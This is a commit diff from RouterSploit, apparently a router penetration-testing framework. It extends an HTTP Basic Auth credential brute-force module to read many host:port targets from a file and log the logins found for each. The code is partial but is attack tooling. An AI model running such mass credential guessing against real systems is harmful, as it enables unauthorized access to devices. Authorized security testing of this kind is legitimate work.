Commit 3e78ec24 by fwkz

Feeding exploit with targets from text file placed within creds module

parent 9c0390f4
...@@ -288,10 +288,6 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -288,10 +288,6 @@ class RoutersploitInterpreter(BaseInterpreter):
@utils.module_required @utils.module_required
def command_run(self, *args, **kwargs): def command_run(self, *args, **kwargs):
utils.print_status("Running module...") utils.print_status("Running module...")
if self.current_module.target.startswith("file://"):
self.__multiple_run()
return
try: try:
self.current_module.run() self.current_module.run()
except: except:
......
...@@ -11,6 +11,7 @@ from routersploit import ( ...@@ -11,6 +11,7 @@ from routersploit import (
print_table, print_table,
sanitize_url, sanitize_url,
boolify, boolify,
http_request
) )
...@@ -37,18 +38,45 @@ class Exploit(exploits.Exploit): ...@@ -37,18 +38,45 @@ class Exploit(exploits.Exploit):
def run(self): def run(self):
self.credentials = [] self.credentials = []
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
if self.target.startswith('file://'):
self.multi_run()
else:
self.single_run()
def multi_run(self):
original_target = self.target
original_port = self.port
_, _, feed_path = self.target.partition("file://")
try: try:
r = requests.get(url, verify=False) file_handler = open(feed_path, 'r')
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except IOError:
print_error("Invalid URL format: %s" % url) print_error("Could not read file: {}".format(self.target))
return return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url) for target in file_handler:
target = target.strip()
if not target:
continue
self.target, _, port = target.partition(':')
if port:
self.port = port
print_status("Attack against: {}:{}".format(self.target, self.port))
self.single_run()
self.target = original_target
self.port = original_port
file_handler.close()
def single_run(self):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
response = http_request("GET", url)
if not response:
return return
if r.status_code != 401: if response.status_code != 401:
print_status("Target is not protected by Basic Auth") print_status("Target is not protected by Basic Auth")
return return
...@@ -60,13 +88,15 @@ class Exploit(exploits.Exploit): ...@@ -60,13 +88,15 @@ class Exploit(exploits.Exploit):
collection = LockedIterator(defaults) collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection) self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials): if self.credentials:
print_success("Credentials found!") print_success("Credentials found!")
headers = ("Login", "Password") headers = ("Target", "Port", "Login", "Password")
print_table(headers, *self.credentials) print_table(headers, *self.credentials)
else: else:
print_error("Credentials not found") print_error("Credentials not found")
defaults.close()
def target_function(self, running, data): def target_function(self, running, data):
module_verbosity = boolify(self.verbosity) module_verbosity = boolify(self.verbosity)
name = threading.current_thread().name name = threading.current_thread().name
...@@ -83,10 +113,10 @@ class Exploit(exploits.Exploit): ...@@ -83,10 +113,10 @@ class Exploit(exploits.Exploit):
if r.status_code != 401: if r.status_code != 401:
running.clear() running.clear()
print_success("{}: Authentication succeed!".format(name), user, password, verbose=module_verbosity) print_success("Target: {}:{} {}: Authentication succeed!".format(self.target, self.port, name), user, password, verbose=module_verbosity)
self.credentials.append((user, password)) self.credentials.append((self.target, self.port, user, password))
else: else:
print_error(name, "Authentication Failed - Username: '{}' Password: '{}'".format(user, password), verbose=module_verbosity) print_error(name, "Target: {}:{} Authentication Failed - Username: '{}' Password: '{}'".format(self.target, self.port, user, password), verbose=module_verbosity)
except StopIteration: except StopIteration:
break break
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment